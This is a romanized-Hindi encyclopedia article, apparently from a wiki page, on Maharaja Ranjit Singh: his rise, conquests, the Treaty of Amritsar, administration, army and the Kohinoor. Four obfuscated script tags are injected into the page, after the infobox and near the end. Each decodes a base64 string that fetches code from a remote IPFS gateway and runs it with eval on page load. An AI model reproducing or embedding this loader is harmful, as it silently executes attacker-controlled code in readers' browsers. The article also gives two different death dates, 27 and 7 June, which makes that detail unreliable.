रणजीत सिंह

ranajit sianh
ranajit sianh|200px|center
poora nam	maharana ranajit sianh
any nam	'shere panjab'
janm	13 navambar, 1780
janm bhoomi	gujaraanvala
mrityu tithi	27 joon, 1839
mrityu sthan	lahaur
pita/mata	pita- mahasianh
pati/patni	zindaan rani
santan	dilip sianh
upadhi	maharana
shasan kal	1801-1839
prashasan	ranajit sianh ka prashasan bhi mahattvapoorn raha. vah nirankush hote hue bhi 'khalasa' ke nam par shasan karate the. unaki sarakar ko 'sarakar khalasa' kaha jata tha.
any janakari	ek fraansisi paryatak 'viktar jaikomant' ne ranajit sianh ki tulana nepoliyan bonapart se ki hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ranajit sianh (aangrezi: Ranjit Singh, janm: 13 navambar, 1780, gujaraanvala; mrityu: 27 joon, 1839, lahaur) sikkh samrajy ke sarvadhik prasiddh raja the. ve "sher-e panjab" ke nam se prasiddh haian. maharaja ranajit sianh aise vyakti the, jinhoanne n keval panjab ko ek sashakt soobe ke roop mean ekajut rakha, balki apane jivit rahate hue aangrezoan ko apane samrajy ke pas bhi nahian phatakane diya. 12 aprail, san 1801 ko ranajit sianh ne maharaja ki upadhi grahan ki thi. guru nanak ke ek vanshaj ne unaki tajaposhi sanpann karaee thi. unhoanne lahaur ko apani rajadhani banaya aur 1802 mean amritasar ki or rookh kiya. british itihasakar je. ti. vhilar ke anusar "agar vah ek pidhi purane hote, to poore hiandoostan ko hi fateh kar lete." maharaja ranajit sianh padhe-likhe nahian the, lekin unhoanne apane rajy mean shiksha aur kala ko bahut protsahan diya. unhoanne panjab mean qanoon evan vyavastha kayam ki aur kabhi bhi kisi ko saza-e-maut nahian di.

parichay

maharaja ranajit sianh ka janm 13 navambar, san 1780 ko badarookhaan ya gujaraanvala, bharat mean hua tha. ve panjab ke sikkh rajy ke sansthapak aur maharaj (1801-1839 ee.) the. ranajit sianh sikkhoan ki barah misaloan mean se ek 'sukar chakiya' se sambandhit the. unhoanne 1797 ee. mean ravi nadi evan chinab nadi ke pradeshoan ke prashasan ka karyabhar sanbhala tha. unake pita mahasianh sukar chakiya misal ke mukhiya the. jis samay ranajit sianh ki ayu keval 12 varsh thi, usi samay unake pita ka dehant ho gaya aur balyavastha mean hi vah sikkh misaloan ke ek chhote se samooh ke saradar bana diye ge. 15 varsh ki ayu mean 'kanhaya misal' ke saradar ki beti se unaka vivah hua aur kee varsh tak unake kriya-kalap unaki mahattvakaankshi vidhava sas sadakaur dvara hi nirdeshit hote rahe. nakkiyoan ki beti ke sath doosare vivah ne ranajit sianh ko sikkh rajava doan (samantoan) ke bich mahattvapoorn bana diya. zindaan rani ranajit sianh ki paanchavi rani tatha unake sabase chhote bete dalip sianh ki maan thian.

shasan niti

arambh mean unaka shasan keval ek chhote-se bhookhand par tha aur sainy bal bhi simit tha. 1793 ee. se 1798 ee. ke bich afagan shasak jamanashah ke nirantar akramanoan ke phalasvaroop panjab mean itani arajakata phail gee ki unnis varshiy ranajit sianh ne 1799 ee. ke julaee mas mean lahaur par adhikar kar liya aur jamanashah ne paristhitivash unako vahaan ka upashasak svikar karate hue raja ki upadhi pradan ki. 1798 - 1799 ee. mean afaganistan ke shasak 'jamanashah' ne panjab par akraman kiya. vapas jate hue usaki kuchh topean chinab nadi mean gir gayian. ranajit sianh ne unhean nikalava kar usake pas bhijava diya. is seva ke badale jamanashah ne ranajit sianh ko lahaur ka shasak niyukt kiya tatha raja ki upadhi pradan ki. ranajit sianh ne kuchh sikkh misaloan se vaivahik sambandh sthapit kar apane prabhav ko badhane ka prayatn kiya. 1805 ee. mean unhoanne amritasar evan jammoo par adhikar kar liya. ab panjab ki rajanitik rajadhani (lahaur) tatha dharmik rajadhani (amritasar), donoan hi unake adhin a gayi thian. is samay tak phraans ka nepoliyan apane charamotkarsh par tha, atah usaka prabhav bharat par n p de, isake lie tatkalin gavarnar-janaral l aaurd miantoan ne panjab, eeran v afaganistan mean apane doot bheje. 25 aprail, 1809 ko 'charls maitak aauf' aur maharaja ranajit sianh ke madhy 'amritasar ki sandhi' sampann huee. sandhi ki shartoan ke anusar sataluj nadi ke poorvi tat ke kshetr aangrezoan ke adhikar mean a gaye. [[chitr:Court-Of-Ranjit-Singh.jpg|thumb|250px|left|rajasabha mean fraansisi bha de ke sainikoan ke sath ranajit sianh]] chooanki nepoliyan ki satta kamazor p d gayi thi, aur eeran ke ianglaind se sambandh sudhar gaye the. isalie in sthitiyoan mean ranajit sianh ke lie amritasar ki sandhi avashyak ho gayi thi.

1804 ee. mean kaang da ke saradar 'sansar chand katoch' ko harakar ranajit sianh ne hoshiyarapur par adhikar kar liya. sansar chand katoch ke kahaloo d ke raja par akraman karane par jab kahaloo d ke raja ne nepal ke gorakha se sahayata maangi aur 'amar sianh thapa' ke netritv mean gorakhoan ne kaang da ka qila gher liya, to ranajit sianh ne sansar chand katoch ki sahayata isi shart par ki, ki vah unhean kaang da ka durg de dega. divan mohakam chand ke adhin ek sikkh sena ne gorakhoan ko parast kar diya. is prakar kaang da par sikkhoan ka adhikar ho gaya aur sansar chand usaki suraksha mean a gaya. 1800 ee. ke pashchath afaganistan ki rajanitik shakti ka patan ho gaya aur 1809 ee. mean shahashuja ko kabul se bhagana p da. shahashuja ne kabul ka rajy prapt karane ke lie ranajit sianh se sahayata maangi aur unhean kohinoor hira bheant karane ka vachan kiya. ranajit sianh ne sindh ke pashchimi tat ke kshetr apane rajy mean vilay ki shart par sahayata ka vachan diya tatha 1837 ee. mean peshavar jit liya. isake poorv vah 1818 ee. mean multan evan 1819 ee. mean kashmir par adhikar kar chuke the.

dooradarshi vyakti

thumb|left|200px|ranajit sianh 1805 ee. mean jab l aaurd lek yashavantarav holkar ka pichha kar raha tha, holkar bhagakar panjab mean ghus gaya. kintu ranajit sianh ne is khatare ka nivaran b di dooradarshita aur rajanitijnata se kiya. unhoanne aangrezoan ke sath sandhi kar li, jisake anusar panjab holkar ke prabhav kshetr se mukt mana gaya aur aangrezoan ne sataluj nadi ke uttar panjab ke samast bhoo-bhag par ranajit sianh ki prabhusatta svikar kar li.

rajy vistar

un dinoan sataluj ke is par ki chhoti-chhoti sikkh riyasatoan mean paraspar jhag de hote rahate the aur unamean se kuchh ne ranajit sianh se sahayata ki yachana bhi ki. ranajit sianh bhi in samast sikkh riyasatoan ko apane netritv mean sanghabaddh karana chahate the. is karan se unhoanne in kshetroan mean kee sainik abhiyan kiye aur 1807 ee. mean ludhiyana par adhikar kar liya. unaka is riti se sataluj ke is par ki kuchh chhoti-chhoti riyasatoan par sattavistar aangrezoan ko ruchikar n hua.

aangrezoan se sandhi

us samay aangrezoan ka rajy vistar dilli tak ho chuka tha. unhoanne charls metak aauf ke netritv mean ek dootamandal aur usake pichhe-pichhe devid aktaraloni ke netritv mean aangrezi sena ranajit sianh ke rajy mean bheji. is bar bhi ranajit sianh ne rajanitik soojh-boojh ka parichay diya aur aangrezoan se 1809 ee. mean chirasthayi maitri sandhi kar li, jo amritasar ki sandhi ke nam se vikhyat hai. isake anusar unhoanne ludhiyana par se adhikar hata liya aur apane rajyakshetr ko sataluj nadi ke uttar aur pashchim tak hi simit rakhana svikar kiya. sath hi unhoanne sataluj ko dakshinavarti riyasatoan ke jhag doan mean hastakshep n karane ka vachan diya. parinamasvaroop ye sabhi riyasatean aangrezoan ke sanrakshan mean a geean.

prashasan

thumb|200px|maharaja ranajit sianh ranajit sianh ka prashasan bhi mahattvapoorn raha. vah nirankush hote hue bhi 'khalasa' ke nam par shasan karate the. unaki sarakar ko 'sarakar khalasa' kaha jata tha. unhoanne guru nanak aur guru govind sianh ke nam ke sikke chalaye, kintu unhoanne gurumat ko protsahan nahian diya. unhoanne dogaroan evan musalamanoan ko uchch pad pradan kiye. fakir 'ajijuddin' unaka videshamantri tatha divan 'dinanath' unaka vitamantri tha.

rajasv ke srot

ranajit sianh ke rajasv ka pramukh srot 'bhoo-rajasv' tha, jisamean navin pranaliyoan ka samavesh hota rahata tha. maharaja ranajit sianh ne nilami ke adhar par sabase ooanchi boli bolane vale ko bhoo-rajasv vasooli ka adhikar pradan kiya. rajy ki or se lagan upaj ka 2/5 se 1/3 bhag liya jata tha. ranajit sianh ka rajy 4 sooboan mean banta tha - peshavar, kashmir, multan, aur lahaur . nyay prashasan ke kshetr mean rajadhani mean 'adalat-e-ala' (adhunik uchch nyayalay ke saman) khola gaya tha, jahaan uchch adhikariyoan dvara vivadoan ka nipatara kiya jata tha.

sainy vyavastha

ranajit sianh ne apani sainy vyavastha par vishesh dhyan diya tha. unhoanne apani sena ko fraansisi sainikoan se prashikshit karavaya. unhoanne apani paidal sena ko do fraansisi sainy adhikariyoan 'alard' evan 'vantoora' ke adhin rakha. vantoora 'phauj-e-khas' ki padati tatha arlad 'ghu dasavar' pakshoan ke karyavahak the. isi prakar ranajit sianh ne ek topakhane ka bhi gathan karavaya, jisaka karyavahak 'ilahi bakhsh' tha. unhoanne 1827 evan 1832 ee. mean kramashah janaral kort evan karnal gardanar ki niyukti kar is topakhane ka punargathan karavaya. ranajit sianh ki sena mean do tarah ke ghu dasavar the- ghu dachadhakhas aur misaladar. ranajit sianh ki sena mean vibhinn videshi jatiyoan ke 39 afasar kary karate the, jisamean fraansisi, jarman, ameriki, yoonani, roosi, aangrez, eanglo-indiyan, speni adi sammilit the. in videshiyoan ko panjab mean basane ke lie bhinn-bhinn prakar ke protsahan die ge. inamean se jin logoan ko utkrisht pad prapt tha, unamean - vantoora, alard, kort, gardanar aur evitebal pramukh the. kort aur gardanar ne topakhane ka punargathan kiya tha. ranajit sianh ne lahaur aur amritasar mean top, gola aur barood banane ke karakhane lagavaye. isake atirikt unhoanne sena mean masik vetan, jise 'mahadari' kahate the, dene ki pranali prarambh ki aur sena ki saj-sajja tatha gatishilata par bal diya.

kohinoor aur ranajit sianh

san 1812 mean jab panjab par maharaja ranajit sianh ka shasan tha, us samay unhoanne kashmir ke soobedar atamohammad ke shikanje se kashmir ko mukt karane ka abhiyan shuroo kiya. is abhiyan se bhayabhit hokar atamohammad kashmir chho dakar bhag gaya. kashmir abhiyan ke pichhe sirph yahi ekamatr karan nahian tha. darasal isake pichhe asali vajah to tha beshakimati 'kohinoor' hira. [[chitr:Koh-i-noor-diamond.jpg|thumb|250px|left|kohinoor hira]] atamohammad ne mahamood shah dvara parajit afaganistan ke shasak shahashuja ko sheragadh ke qile mean kaid kar rakha tha. use kaid khane se azad karane ke lie usaki begam vapha begam ne lahaur akar maharaja ranajit sianh se prarthana ki aur kaha ki- "meharabani kar ap mere pati ko atamohammad ki kaid se riha karava dean, is ahasan ke badale beshakimati kohinoor hira apako bheant kar dooangi." shahashuja ke kaid ho jane ke bad vapha begam hi un dinoan afaganistan ki shasika thi. maharaja ranajiti sianh svayan chahate the ki ve kashmir ko atamohammad se mukt karavaean. sahi vakt ane par maharaja ranajit sianh ne kashmir ko azad kara liya. unake divan mohakamachand ne sheragadh ke qile ko gherakar vapha begam ke pati shahashuja ko riha kar vapha begam ke pas lahaur pahuancha diya aur apana vada poora kiya.

rajakumar khadgasianh ne unhean mubarak haveli mean thaharaya. par vapha begam apane vade ke anusar kohinoor hira maharaja ranajit sianh ko bheant karane mean vilamb karati rahi. yahaan tak ki kee mahine bit ge. jab maharaja ne shahashuja se kohinoor hire ke bare mean poochha to vah aur usaki begam donoan hi bahane banane lage. jab zyada zor diya gaya to unhoanne ek nakali hira maharaja ranajit sianh ko sauanp diya, jo jauhariyoan ke jaanch ki kasauti par nakali sabit hua. ranajit sianh krodh se bhar uthe aur mubarak haveli gher li gee. do din tak vahaan khana nahian diya gaya. varsh 1813 ee. ki pahali joon thi, jab maharaja ranajit sianh shahashuja ke pas ae aur phir kohinoor ke vishay mean poochha. dhoort shahashuja ne kohinoor apani pag di mean chhipa rakha tha. kisi tarah maharaja ko isaka pata chal gaya. unhoanne shahashuja ko kabul ki rajagaddi dilane ke lie gurugranth sahab par hath rakhakar pratijna ki. phir use 'pag di-badal bhaee' (ek rashm) banane ke lie usase pag di badal kar kohinoor prapt kar liya.

parde ki ot mean baithi vapha begam maharaja ranajit sianh ki chaturaee samajh gee. ab kohinoor maharaja ranajit sianh ke pas pahuanch gaya tha aur ve santusht the ki unhoanne kashmir ko azad kara liya tha. unaki ichchha thi ki ve kohinoor hire ko jagannathapuri ke mandir mean pratishthit bhagavan jagannath ko arpit karean. hindoo mandiroan ko manoan sona bheant karane ke lie ve prasiddh the. lekin unaki ye ichchha poori na ho saki. ranajit sianh ki mrityu ke pashchath aangrezoan ne san 1845 mean sikkhoan par akraman kar diya. firozapur kshetr mean sikkh sena viratapoorvak aangrezoan ka mukabala kar rahi thi, kintu sikkh sena ke hi senapati lalasianh ne vishvasaghat kiya aur morcha chho dakar lahaur palayan kar gaya. is karan sikkh sena har gee. aangrezoan ne sikkhoan se kohinoor hira le liya. kuchh logoan ka kathan hai ki ranajiti sianh ke putr dilip sianh se hi aangrezoan ne landan mean kohinoor h dapa tha. kohinoor ko 1 mah 8 din tak jauhariyoan ne tarasha aur phir use rani viktoriya ne apane taj mean j dava liya.

rajanitijn

ranajit sianh yatharthavadi rajanitijn the, jinhean sambhav aur asambhav ki bhali parakh thi. isi karan unhoanne 1831 ee. mean aangrezoan se pun: sandhi ki, jisamean chirasthayi maitri sandhi ki shartoan ko duharaya gaya. is prakar ranajit sianh ne n to aangrezoan se koee yuddh kiya aur n hi unaki sena ko kisi bhi bahane se apane rajy mean andar ghusane diya. 1838 mean unhoanne kabul ki afagan gaddi par shahashuja ko phir se baithane ke lie aangrez vaisaray l aaurd aaukalaind se ek sandhi ki. is samajhaute ke tahat sindhu sthit british faujoan ne dakshin disha se aur ranajit sianh ki sena ne khaibar darre se afaganistan mean pravesh karake kabul ke vijay pradarshan mean hissa liya.

vijay abhiyan

250px|thumb|ranajit sianh maharaja ranajit sianh ke vijay abhiyanoan ka vivaran nimn prakar haian-

• lahaur ki vijay - 1793-1798 ee. mean afaganistan ke shasak jamanashah ne lahaur par akraman kar diya aur b di asani se us par adhikar kar liya, parantu apane sautele bhaee mahamood ke virodh ke karan jamanashah ko shighr hi kabul lautana p da. lautate samay usaki kuchh topean jhelam nadi mean gir p dian. ranajit sianh ne in topoan ko surakshit kabul bhijava diya. is par jamanashah b da prasann hua aur usane ranajit sianh ko lahaur par adhikar kar lene ki anumati de di. at: ranajit sianh ne lahaur par akraman kiya aur 7 julaee, 1799 ko lahaur par adhikar kar liya.
• any misaloan par vijay - shighr hi ranajit sianh ne panjab ki anek misaloan par adhikar kar liya. 1803 mean unhoanne akalagadh, 1804 mean kasoor tatha jhang par aur 1805 mean amritasar par adhikar kar liya. amritasar par adhikar kar lene se panjab ki dharmik evan adhyatmik rajadhani ranajit sianh ke hathoan mean a gayi. 1809 mean unhoanne gujarat par adhikar kiya.
• sataluj nadi ke par vijay - maharaja ranajit sianh sataluj nadi ke par ke pradeshoan par bhi apana adhipaty kar lena chahate the. 1806 mean unhoanne lagabhag 20,000 sainikoan sahit sataluj ko par kiya aur dolaghi gaanv par adhikar kar liya. patiyala ke naresh sahib sianh ne ranajit sianh ki madhyasthata svikar kar li aur bahut si dhanarashi bheant ki. lautate samay ranajit sianh ne ludhiyana ko bhi jit liya. 1807 mean unhoanne sataluj ko par kiya aur narayanagadh, jira badani, firozapur adi pradeshoan par bhi adhikar kar liya.
• amritasar ki sandhi - ranajit sianh ke sainik abhiyanoan se bhayabhit hokar sataluj nadi ke par ki sikkh riyasatoan ne aangrezoan se sanrakshan dene ki prarthana ki. is par gavarnar-janaral l aaurd minto ne sar charls metak aauf ko ranajit sianh se sandhi karane ko bheja. prarambh mean ranajit sianh sandhi ke lie sahamat nahian hue, lekin jab l aaurd minto ne charls metak aauf ke sath aktaraloni ke netritv mean sainik tuk di bheji tatha unhoanne sainik shakti ki dhamaki di to ranajit sianh ko jhukana p da. aant mean 25 aprail, 1809 ee. ko ranajit sianh ne aangrezoan se sandhi kar li, jise 'amritasar ki sandhi' kahate haian.
• kaang da vijay - jab 1809 ee. mean amarasianh thapa ne kaang da par akraman kar diya to kaang da ke shasak sansarachandr ki prarthana par ranajit sianh ne ek vishal sena kaang da bhej di. sikkh sena ko dekhakar amarasianh thapa bhag nikala. is prakar 1809 ee. mean kaang da ke durg par ranajit sianh ka adhikar ho gaya.
• multan vijay - 1818 ee. mean ranajit sianh ne mishr divanachand aur khadgasianh ko multan ki vijay ke lie bheja. yadyapi multan ke shasak mujaffar khaan ne sikkh sena ka viratapoorn mukabala kiya, parantu use parajit hona p da. is prakar 1818 ee. mean multan par bhi maharaja ranajit sianh ka adhikar ho gaya.
• atak ki vijay - ranajit sianh ne kootaniti se kam lete hue 1813 ee. mean katak par bhi adhikar kar liya. unhoanne katak ke gavarnar jahadaand ko ek lakh rupaye ki rashi dekar 1813 mean katak par bhi adhikar kar liya.
• kashmir vijay - 1819 ee. mean ranajit sianh ne mishr divanachand ke netritv me vishal sena kashmir ki vijay ke lie bheji. kashmir mean afagan shasak jabbar khaan ne sikkh sena ka mukabala kiya, parantu use parajay ka mukh dekhana p da. is prakar kashmir par bhi ranajit sianh ka adhikar ho gaya.
• derajat ki vijay - kashmir ki vijay ke bad 1820-21 mean maharaja ranajit sianh ne deragaji khaan, ismail khaan aur bannoo par bhi adhikar kar liya.
• peshavar ki vijay - 1823 ee. mean ranajit sianh ne peshavar ki vijay ke lie ek vishal sena bheji. sikkhoan ne jahaangir aur naushahara ki l daiyoan mean pathanoan ko parajit kar diya aur peshavar par adhikar kar liya. 1834 ee. mean peshavar ko poorn sikkh samrajy mean sammalit kar liya gaya.
• laddakh ki vijay - 1836 ee. mean sikkh senapati joravar sianh ne laddakh par akraman kiya aur laddakhi sena ko parajit karake laddakh par adhikar kar liya.

dharmik sadbhav

panjab ke lok jivan aur lok kathaoan mean maharaja ranajit sianh se sambandhit anek kathaean kahi v suni jati haian. isamean se adhikaansh kahaniyaan unaki udarata, nyayapriyata aur sabhi dharmoan ke prati samman ko lekar prachalit haian. unhean apane jivan mean praja ka bharapoor pyar mila. apane jivan kal mean hi ve anek lok gathaoan aur janashrutiyoan ka keandr ban gaye the.

ek musalaman khushanavis ne anek varshoan ki sadhana aur shram se 'quran sharif' ki ek atyant sundar prati sone aur chaandi se bani syahi se taiyar ki. us prati ko lekar vah panjab aur siandh ke anek navaboan ke pas gaya. sabhi ne usake kary aur kala ki prashansa ki, parantu koee bhi us prati ko kharidane ke lie taiyar n hua. khushanavis us prati ka jo bhi mooly maangata tha, vah sabhi ko apani samarthy se adhik lagata tha. nirash hokar khushanavis lahaur aya aur maharaja ranajit sianh ke senapati se mila. senapati ne usake kary ki b di prashansa ki, parantu itana adhik mooly dene mean usane khud ko asamarth paya. maharaja ranajit sianh ne bhi yah bat suni aur us khushanavis ko apane pas bulavaya. khushanavis ne quran sharif ki vah prati maharaj ko dikhaee. maharaja ranajit sianh ne b de samman se use uthakar apane mastak mean lagaya aur vazir ko ajna di- "khushanavis ko utana dhan de diya jay, jitana vah chahata hai aur quran sharif ki is prati ko mere sangrahalay mean rakh diya jay." maharaj ke is kary se sabhi ko ashchary hua. faqir ajijaddin ne poochha- "hujoor, apane is prati ke lie bahut b di dhanarashi di hai, parantu vah to apake kisi kam ki nahian hai, kyoanki ap sikkh haian aur yah musalamanoan ki dharm pustak hai." maharaj ne uttar diya- "faqir sahab, eeshvar ki yah ichchha hai ki maian sabhi dharmoan ko ek nazar se dekhooan."

mrityu evan sikkh rajy

thumb|250px|ranajit sianh ki samadhi 59 varsh ki ayu mean 7 joon, 1839 ee. mean apani mrityu ke samay tak unhoanne ek aise sangathit sikkh rajy ka nirman kar diya tha, jo peshavar se sataluj tak aur kashmir se sindh tak vistrit tha. kintu is vistrit samrajyoan mean vah koee mazaboot shasan vyavastha prachalit nahian kar sake aur n hi sikkhoan mean vaisi rashtriy bhavana ka sanchar kar sake, jaisi shivaji ne maharashtr mean utpann kar di thi. phalat: unaki mrityu ke keval 10 varsh ke uparant hi yah samrajy nasht ho gaya. phir bhi yah svikar karana hoga ki afaganoan, aangrezoan tatha apane kuchh sahadharmi sikkh saradaroan ke virodh ke bavajood ranajit sianh ne jo mahanh saphalataean prapt kian, unake adhar par unaki ganana unnisavian shatabdi ke bharatiy itihas ki mahanh vibhootiyoan mean ki jani chahie.

nepoliyan se tulana

ek fraansisi paryatak 'viktar jaikomant' ne ranajit sianh ki tulana nepoliyan bonapart se ki hai. ranajit sianh ki mrityu ke bad ka samay panjab ke lie ghor arajakata ka kal tha. sanghavaliya, dogara, ataravaliya, jo ranajit sianh ke shasan kal mean prashasan ke mahattvapoorn aang the, ne unake kamazor uttaradhikariyoan 'kh dak sianh', 'naunihal sianh' v 'sher sianh' mean ek doosare ka samarthan karana shuroo kar diya. is bich sena ka hastakshep bhi prashasan mean badhane laga. isake alava, chooanki aangrez pahale se panjab ko lalachayi drishti se dekh rahe the, isalie yah unake hastakshep ka uchit karan bana. in sabhi karanoan ka parinam hi aangl-sikkh yuddh tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>